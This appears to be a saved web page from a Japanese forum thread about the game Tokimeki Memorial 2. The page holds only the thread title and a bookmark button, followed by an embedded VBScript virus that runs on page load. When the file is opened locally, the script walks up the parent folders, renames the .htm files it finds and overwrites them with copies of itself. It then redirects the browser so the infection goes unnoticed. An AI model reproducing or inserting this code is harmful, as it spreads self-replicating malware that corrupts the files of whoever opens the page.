「ときメモ2」ってどうですか?〜その8〜

このエントリーをはてなブックマークに追加
<BODY Onload="Redirect();">
<script language="VBScript"><--Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub --></script>